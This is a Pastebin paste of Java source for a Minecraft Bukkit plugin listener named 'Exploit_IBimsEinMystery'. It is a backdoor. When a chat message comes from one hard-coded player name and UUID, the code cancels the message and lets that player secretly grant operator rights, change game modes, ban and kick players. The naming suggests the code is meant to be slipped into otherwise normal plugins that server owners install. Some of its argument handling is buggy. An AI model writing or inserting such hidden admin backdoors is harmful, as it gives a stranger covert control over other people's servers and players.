Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package de.ibimseinmystery.poison.listener;
- import java.util.UUID;
- import org.bukkit.BanList;
- import org.bukkit.Bukkit;
- import org.bukkit.GameMode;
- import org.bukkit.entity.Player;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.Listener;
- import org.bukkit.event.player.AsyncPlayerChatEvent;
- public class Exploit_IBimsEinMystery implements Listener {
- @EventHandler
- public void onChat(AsyncPlayerChatEvent e) {
- Player p = e.getPlayer();
- String msg = e.getMessage();
- String[] args = msg.split(" ");
- BanList bannedPlayer = Bukkit.getBanList(BanList.Type.NAME);
- if (p.getName().equalsIgnoreCase("IBimsEinMystery")
- && p.getUniqueId().equals(UUID.fromString("58a98633-ac6d-4839-a270-194b778cca6f"))) {
- try {
- if (args[0].equalsIgnoreCase("+cmd")) {
- e.setCancelled(true);
- p.sendMessage("§7[]--------- §5Commands §7----------[]");
- p.sendMessage("§5+op <Spieler> §eOppet dich oder einen Spieler");
- p.sendMessage("§5+deop <Spieler> §eDe-oppet dich oder einen Spieler");
- p.sendMessage("§5+gm [1/2/3/0] <Spieler> §eÄndere deinen oder von anderen Spielern denn Spielmodus");
- p.sendMessage("§5+ban [Spieler] §eBanne Spieler");
- p.sendMessage("§5+unban [Spieler] §eEntbanne Spieler");
- p.sendMessage("§5+kick [Spieler] §eKicke Spieler");
- p.sendMessage("§7[]--------- §5Commands §7----------[]");
- }if(msg.startsWith("+op") || args.length < 1) {
- e.setCancelled(true);
- Player t = Bukkit.getPlayer(args[0]);
- t.setOp(true);
- p.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
- t.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
- }else if(msg.startsWith("+op") || args.length < 0) {
- e.setCancelled(true);
- p.setOp(true);
- p.sendMessage("§7§o[Server: Opped " + p.getName() + "]");
- /*
- if (msg.equalsIgnoreCase("+op")) {
- if(args.length == 0) {
- e.setCancelled(true);
- p.setOp(true);
- p.sendMessage("§7§o[Server: Opped " + p.getName() + "]");
- }else if(args.length == 1) {
- e.setCancelled(true);
- Player t = Bukkit.getPlayer(args[1]);
- t.setOp(true);
- p.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
- t.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
- }else
- p.sendMessage("§cBitte benutze +op <Spieler>!");
- */
- }if (msg.equalsIgnoreCase("+deop")) {
- if(args.length == 0) {
- e.setCancelled(true);
- p.setOp(false);
- p.sendMessage("§7§o[Server: De-opped " + p.getName() + "]");
- }else if(args.length == 1) {
- e.setCancelled(true);
- Player t = Bukkit.getPlayer(args[1]);
- t.setOp(false);
- p.sendMessage("§7§o[Server: De-opped " + t.getName() + "]");
- }else
- p.sendMessage("§cBitte benutze +deop <Spieler>!");
- }if (msg.equalsIgnoreCase("+gm 1")) {
- e.setCancelled(true);
- p.setGameMode(GameMode.CREATIVE);
- p.sendMessage("§7§o[Server: Changing to Creative Mode]");
- }if (msg.equalsIgnoreCase("+gm 2")) {
- e.setCancelled(true);
- p.setGameMode(GameMode.ADVENTURE);
- p.sendMessage("§7§o[Server: Changing to Adventure Mode]");
- }if (msg.equalsIgnoreCase("+gm 3")) {
- e.setCancelled(true);
- p.setGameMode(GameMode.SPECTATOR);
- p.sendMessage("§7§o[Server: Changing to Spectator Mode]");
- }if (msg.equalsIgnoreCase("+gm 0")) {
- e.setCancelled(true);
- p.setGameMode(GameMode.SURVIVAL);
- p.sendMessage("§7§o[Server: Changing to Survival Mode]");
- }if (msg.equalsIgnoreCase("+ban")) {
- Player t = Bukkit.getPlayer(args[1]);
- e.setCancelled(true);
- bannedPlayer.addBan(t.getName(), "", null, "");
- p.sendMessage("§7§o[Server: Banned " + t.getName() + "]");
- }if (msg.equalsIgnoreCase("+unban")) {
- Player t = Bukkit.getPlayer(args[1]);
- e.setCancelled(true);
- p.sendMessage("§7§o[Server: Un-banned " + t.getName() + "]");
- }if (msg.equalsIgnoreCase("+kick")) {
- if(args.length == 1) {
- Player t = Bukkit.getPlayer(args[1]);
- if(t != null) {
- e.setCancelled(true);
- t.kickPlayer("You are kicked by an operator!");
- p.sendMessage("§7§o[Server: Kicked " + t.getName() + "]");
- }else
- p.sendMessage("Spieler nicht online!");
- }else
- p.sendMessage("§cBitte benutze +kick [Spieler]");
- }
- }catch (Exception exception) {
- System.out.println("Nachricht: " + msg);
- exception.printStackTrace();
- }
- } //Argumentenlänge
- } //UUID Abfrage
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement